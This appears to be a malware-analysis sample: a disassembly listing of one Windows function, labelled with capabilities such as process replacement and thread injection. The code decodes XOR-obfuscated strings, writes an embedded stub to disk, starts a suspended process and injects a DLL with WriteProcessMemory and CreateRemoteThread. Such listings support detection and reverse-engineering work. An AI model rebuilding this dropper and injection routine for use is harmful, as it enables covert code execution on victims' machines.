Function at 0x140001000
Capabilities:
Create process on windows
Create process suspended
Create thread
Inject thread
Resume thread
Use process replacement
Write and execute a file
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x1d8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x150], 0xfffffffffffffffe
lea rcx, [rbp - 0x28]
call fcn.1400022e0
movabs rax, 0x9a2eb37c5895607
mov qword [rbp + 0x90], rax
movabs rax, 0xee93a62582788a2a
mov qword [rbp + 0x98], rax
movabs rax, 0x90f3fac64e23cf30
mov qword [rbp + 0xa0], rax
movabs r12, 0x3ef1db735cabc8da
mov qword [rbp + 0xa8], r12
movabs r14, 0x59f2aa6891da1353
mov qword [rbp + 0x20], r14
movabs r15, 0x96f68855ef0ea418
mov qword [rbp + 0x28], r15
movabs r13, 0x90f3fac64e23cf55
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r12
lea rax, [rbp + 0x20]
movaps xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rbp + 0xa0], xmm0
lea rsi, [rbp + 0x90]
mov rcx, rsi
call fcn.14000c670
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], rax
call fcn.140006070
lea rcx, [rbp + 0x20]
lea rdi, [rbp + 0xe0]
mov edx, eax
mov r8, rdi
call fcn.140005880
mov rbx, rbp
lea rsi, [rbp - 0x28]
lea r8, [rbp + 0x20]
mov rcx, rbx
mov rdx, rsi
call fcn.1400024a0
mov rax, qword [rbp + 0x38]
cmp rax, 8
jb 0x14000115b
mov rcx, qword [rbp + 0x20]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001156
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f97
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a5c
cmp qword [rbp + 0x18], 8
jb 0x140001166
mov rbx, qword [rbp]
lea rdx, [rbp + 0x20]
mov rcx, rbx
mov r8d, 3
mov r9d, 0xffffffff
call fcn.140005d40
cmp eax, 0x34
jg 0x1400012b2
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x1400012c7
test eax, eax
jne 0x140001fab
lea rcx, [rbp + 0x90]
call fcn.140002780
movabs rax, 0x5986aa0991be137d
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], r15
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], r15
lea rax, [rbp + 0x20]
movaps xmm0, xmmword [rbp + 0xc0]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0xc0], xmm0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], 0
mov qword [rbp + 0x128], 7
mov ebx, 0x10
movabs r14, 0x1d06754986f6e75f
movabs r15, 0x47ae147ae147ae15
lea rdi, [rbp + 0x110]
jmp 0x140001235
mov word [rdx + rax*2], r9w
mov word [rdx + rax*2 + 2], 0
dec rbx
je 0x1400015d3
rdtsc
mov rcx, rax
shl rdx, 0x20
or rcx, rdx
imul rcx, r14
add rcx, r14
mov rax, rcx
mul r15
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 4
lea eax, [rax + rax*4]
lea eax, [rax + rax*4]
neg eax
lea r9d, [rcx + rax]
add r9d, 0x61
mov rax, qword [rbp + 0x120]
mov rcx, qword [rbp + 0x128]
cmp rax, rcx
jae 0x1400012a0
lea rdx, [rax + 1]
mov qword [rbp + 0x120], rdx
mov rdx, rdi
cmp rcx, 8
jb 0x140001220
mov rdx, qword [rbp + 0x110]
jmp 0x140001220
mov edx, 1
mov rcx, rdi
call fcn.140004770
jmp 0x14000122c
cmp eax, 0x35
je 0x1400012c7
cmp eax, 0x7b
je 0x1400012c7
cmp eax, 0x10b
jne 0x140001fab
mov ecx, 0x2d0
call fcn.140005a90
mov r8d, 0x2d0
mov qword [rbp + 0x108], rax
mov rcx, rax
xor edx, edx
call fcn.14001e240
xorps xmm0, xmm0
movaps xmmword [rbp + 0xf0], xmm0
movaps xmmword [rbp + 0xe0], xmm0
mov rbx, qword [rbp + 0x10]
cmp qword [rbp + 0x18], 8
jb 0x14000130a
mov rsi, qword [rbp]
jmp 0x14000130d
mov rsi, rbp
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jae 0x140001f9c
cmp rbx, 7
jbe 0x14000138b
mov qword [rbp - 8], r14
mov rax, rbx
or rax, 7
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140001fa1
cmp rax, 0xb
mov r14d, 0xa
cmovae r14, rax
lea rcx, [r14 + r14]
cmp rax, 0x7ff
jb 0x1400013a9
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x140001fa1
add rcx, 0x29
call fcn.140005a20
mov rdi, rax
add rdi, 0x27
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400013b5
mov qword [rbp + 0xf0], rbx
mov qword [rbp + 0xf8], 7
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0xe0], xmm0
jmp 0x1400013e1
add rcx, 2
call fcn.140005a20
mov rdi, rax
mov qword [rbp + 0xe0], rdi
mov qword [rbp + 0xf0], rbx
mov qword [rbp + 0xf8], r14
lea r8, [rbx*2 + 2]
mov rcx, rdi
mov rdx, rsi
call fcn.14001dba0
mov r14, qword [rbp - 8]
movabs rax, 0x5997aa0491b31315
mov qword [rbp + 0x90], rax
movabs rax, 0x96d38835ef2ea422
mov qword [rbp + 0x98], rax
movabs rax, 0x90d3faa64e50cf22
mov qword [rbp + 0xa0], rax
movabs rax, 0x3ed1db075cc4c8b4
mov qword [rbp + 0xa8], rax
movabs rax, 0xfba70181f6086031
mov qword [rbp + 0xb0], rax
movabs rax, 0xaef9b2d0ec674c68
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], r15
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r12
movabs rax, 0xfbc901f4f6676057
mov qword [rbp + 0x40], rax
movabs rax, 0xaef9b2f1ec474c0c
mov qword [rbp + 0x48], rax
lea rax, [rbp + 0x20]
movaps xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rax]
movaps xmmword [rbp + 0x90], xmm0
movaps xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rbp + 0xa0], xmm0
movaps xmm0, xmmword [rbp + 0xb0]
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rbp + 0xb0], xmm0
lea rdx, [rbp + 0x90]
mov rsi, qword [rbp + 0x108]
mov rcx, rsi
mov r8, rdi
call fcn.140002720
mov rax, qword [rbp + 0xf8]
cmp rax, 8
jb 0x140001511
mov rcx, qword [rbp + 0xe0]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14000150c
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f97
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a5c
lea r8, [0x140025d28]
xor ecx, ecx
mov rdx, rsi
mov r9d, 0x30
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rsi
call fcn.140005a5c
mov rax, qword [rbp + 0x18]
cmp rax, 8
jb 0x140001577
mov rcx, qword [rbp]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001572
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f97
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a5c
mov rax, qword [rbp - 0x10]
cmp rax, 8
jb 0x1400015bd
mov rcx, qword [rbp - 0x28]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x1400015b8
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f97
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a5c
xor eax, eax
add rsp, 0x1d8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rdi, [rbp + 0xc0]
mov rcx, rdi
call fcn.14000c744
mov rcx, qword [rbp + 0x120]
mov rdx, qword [rbp + 0x128]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x14000161b
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x110]
lea r9, [rbp + 0xc0]
mov rdx, rax
call fcn.1400048f0
mov rbx, rax
jmp 0x14000165a
lea r14, [rcx + rax]
mov qword [rbp + 0x120], r14
lea rbx, [rbp + 0x110]
mov r15, rbx
cmp rdx, 8
jb 0x14000163d
mov r15, qword [rbp + 0x110]
lea rcx, [r15 + rcx*2]
add rax, rax
lea rdx, [rbp + 0xc0]
mov r8, rax
call fcn.14001dba0
mov word [r15 + r14*2], 0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rbp + 0x140], xmm1
movaps xmmword [rbp + 0x130], xmm0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 7
mov word [rbx], 0
movaps xmm0, xmmword [rbp + 0x130]
movaps xmm1, xmmword [rbp + 0x140]
movaps xmmword [rbp + 0x30], xmm1
movaps xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x140], 0
mov qword [rbp + 0x148], 7
mov word [rbp + 0x130], 0
lea r14, [rbp + 0xe0]
lea rdx, [rbp + 0x90]
lea rbx, [rbp + 0x20]
mov rcx, r14
mov r8, rbx
call fcn.1400024a0
mov rax, qword [rbp + 0x38]
cmp rax, 8
jb 0x14000171c
mov rcx, qword [rbp + 0x20]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001717
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f97
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a5c
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 7
mov word [rbp + 0x20], 0
mov rax, qword [rbp + 0x128]
cmp rax, 8
jb 0x14000177e
mov rcx, qword [rbp + 0x110]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001779
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f97
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a5c
xorps xmm0, xmm0
movaps xmmword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x20], xmm0
mov r15, qword [rbp + 0xf0]
cmp qword [rbp + 0xf8], 8
jb 0x1400017a1
mov r14, qword [rbp + 0xe0]
movabs r12, 0x7fffffffffffffff
cmp r15, r12
jae 0x140001fa6
cmp r15, 7
ja 0x1400017d3
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], 7
movups xmm0, xmmword [r14]
movaps xmmword [rbp + 0x20], xmm0
jmp 0x14000186b
mov rax, r15
or rax, 7
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140001fd5
cmp rax, 0xb
mov r13d, 0xa
cmovae r13, rax
lea rcx, [r13*2]
cmp rax, 0x7ff
jb 0x140001838
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x140001fd5
add rcx, 0x29
call fcn.140005a20
mov rcx, rax
add rcx, 0x27
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x140001844
add rcx, 2
call fcn.140005a20
mov rcx, rax
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], r13
lea r8, [r15*2 + 2]
mov rdx, r14
call fcn.14001dba0
cmp qword [rbp + 0x38], 8
jb 0x14000186b
mov rbx, qword [rbp + 0x20]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
mov rcx, rbx
mov edx, 0xc0000000
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea rcx, [rax + 1]
cmp rcx, 2
jae 0x1400018f4
mov rax, qword [rbp + 0x38]
cmp rax, 8
jb 0x140001efe
mov rcx, qword [rbp + 0x20]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x1400018ea
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f97
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a5c
jmp 0x140001efe
mov qword [rsp + 0x20], 0
lea rdx, section..stub
lea rbx, [rbp + 0x130]
mov rcx, rax
mov r8d, 0x1fe00
mov r9, rbx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r14d, eax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x38]
cmp rax, 8
jb 0x140001972
mov rcx, qword [rbp + 0x20]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14000196d
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f97
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a5c
test r14d, r14d
je 0x140001efe
xorps xmm0, xmm0
movaps xmmword [rbp + 0x70], xmm0
movaps xmmword [rbp + 0x60], xmm0
movaps xmmword [rbp + 0x50], xmm0
movaps xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x80], 0
movaps xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], 0
movaps xmmword [rbp + 0x140], xmm0
movaps xmmword [rbp + 0x130], xmm0
mov r14, qword [rbp - 0x18]
cmp qword [rbp - 0x10], 8
jb 0x1400019d0
mov rsi, qword [rbp - 0x28]
cmp r14, r12
jae 0x140001fda
cmp r14, 7
ja 0x140001a00
mov qword [rbp + 0x140], r14
mov qword [rbp + 0x148], 7
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0x130], xmm0
jmp 0x140001aa3
mov rax, r14
or rax, 7
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140001fe4
cmp rax, 0xb
mov r15d, 0xa
cmovae r15, rax
lea rcx, [r15 + r15]
cmp rax, 0x7ff
jb 0x140001a61
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x140001fe4
add rcx, 0x29
call fcn.140005a20
mov rcx, rax
add rcx, 0x27
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x140001a6d
add rcx, 2
call fcn.140005a20
mov rcx, rax
mov qword [rbp + 0x130], rcx
mov qword [rbp + 0x140], r14
mov qword [rbp + 0x148], r15
lea r8, [r14*2 + 2]
mov rdx, rsi
call fcn.14001dba0
cmp qword [rbp + 0x148], 8
jb 0x140001aa3
mov rbx, qword [rbp + 0x130]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x120], xmm0
movaps xmmword [rbp + 0x110], xmm0
mov r14, qword [rbp + 0x10]
cmp qword [rbp + 0x18], 8
jb 0x140001ac5
mov rsi, qword [rbp]
jmp 0x140001ac8
mov rsi, rbp
cmp r14, r12
jae 0x140001fdf
cmp r14, 7
ja 0x140001af8
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], 7
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0x110], xmm0
jmp 0x140001b9d
mov rax, r14
or rax, 7
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140001fe9
cmp rax, 0xb
mov r15d, 0xa
cmovae r15, rax
lea rcx, [r15 + r15]
cmp rax, 0x7ff
jb 0x140001b59
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x140001fe9
add rcx, 0x29
call fcn.140005a20
mov rcx, rax
add rcx, 0x27
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x140001b65
add rcx, 2
call fcn.140005a20
mov rcx, rax
mov qword [rbp + 0x110], rcx
mov qword [rbp + 0x120], r14
mov qword [rbp + 0x128], r15
lea r8, [r14*2 + 2]
mov rdx, rsi
call fcn.14001dba0
cmp qword [rbp + 0x128], 8
jb 0x140001b9d
mov rcx, qword [rbp + 0x110]
jmp 0x140001ba4
lea rcx, [rbp + 0x110]
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x20]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esi, eax
mov rax, qword [rbp + 0x128]
cmp rax, 8
jb 0x140001c2c
mov rcx, qword [rbp + 0x110]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001c27
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f97
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a5c
mov rax, qword [rbp + 0x148]
cmp rax, 8
jb 0x140001c78
mov rcx, qword [rbp + 0x130]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001c73
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f97
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a5c
test esi, esi
je 0x140001efe
mov rcx, qword [rbp + 0xc0]
mov dword [rsp + 0x20], 4
mov r8d, 0x1000
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test rax, rax
je 0x140001efe
mov rbx, rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x140], xmm0
movaps xmmword [rbp + 0x130], xmm0
mov rdi, qword [rbp + 0xf0]
cmp qword [rbp + 0xf8], 8
jb 0x140001cda
mov rsi, qword [rbp + 0xe0]
jmp 0x140001ce1
lea rsi, [rbp + 0xe0]
cmp rdi, r12
jae 0x140001fee
cmp rdi, 7
ja 0x140001d18
mov qword [rbp + 0x140], rdi
mov qword [rbp + 0x148], 7
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0x130], xmm0
lea r8, [rbp + 0x130]
jmp 0x140001dd8
mov qword [rbp + 0x108], rbx
mov rax, rdi
or rax, 7
movabs rcx, 0x7ffffffffffffffe
cmp rax, rcx
ja 0x140001ffa
cmp rax, 0xb
mov ebx, 0xa
cmovae rbx, rax
lea rcx, [rbx + rbx]
cmp rax, 0x7ff
jb 0x140001d7f
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x140001ffa
add rcx, 0x29
call fcn.140005a20
mov rcx, rax
add rcx, 0x27
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x140001d8b
add rcx, 2
call fcn.140005a20
mov rcx, rax
mov qword [rbp + 0x130], rcx
mov qword [rbp + 0x140], rdi
mov qword [rbp + 0x148], rbx
lea r8, [rdi*2 + 2]
mov rdx, rsi
call fcn.14001dba0
cmp qword [rbp + 0x148], 8
jb 0x140001dc3
mov r8, qword [rbp + 0x130]
jmp 0x140001dca
lea r8, [rbp + 0x130]
mov rbx, qword [rbp + 0x108]
mov rdi, qword [rbp + 0x140]
lea r9, [rdi*2 + 2]
mov rcx, qword [rbp + 0xc0]
mov qword [rsp + 0x20], 0
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001ed9
mov rcx, qword [rbp + 0xc0]
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
lea rsi, [rax + 1]
cmp rsi, 2
jb 0x140001e48
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [rbp + 0x148]
cmp rax, 8
jb 0x140001e94
mov rcx, qword [rbp + 0x130]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001e8f
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f97
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a5c
mov rcx, qword [rbp + 0xc0]
mov rdx, rbx
xor r8d, r8d
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp rsi, 2
jb 0x140001efe
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 0xc0]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.14000c5f0
jmp 0x140001efe
lea rcx, [rbp + 0x130]
call fcn.1400026b0
mov rcx, qword [rbp + 0xc0]
mov rdx, rbx
xor r8d, r8d
mov r9d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rax, qword [rbp + 0xf8]
cmp rax, 8
jb 0x140001f46
mov rcx, qword [rbp + 0xe0]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001f41
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f97
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a5c
mov rax, qword [rbp + 0xa8]
cmp rax, 8
jb 0x140001531
mov rcx, qword [rbp + 0x90]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x140001f8d
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001f97
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140005a5c
jmp 0x140001531
call fcn.14000be6c
call fcn.140002cf0
call fcn.140002d10
call fcn.140002cf0
mov dword [rbp + 0x90], eax
lea rax, section..rdata
mov qword [rbp + 0x98], rax
lea rcx, str.exists
lea rdx, [rbp + 0x90]
mov r8, rbp
call fcn.140004a80
call fcn.140002d10
call fcn.140002cf0
call fcn.140002cf0
call fcn.140002d10
call fcn.140002d10
mov qword [rbp + 0x108], rbx
call fcn.140002cf0
call fcn.140002d10
int3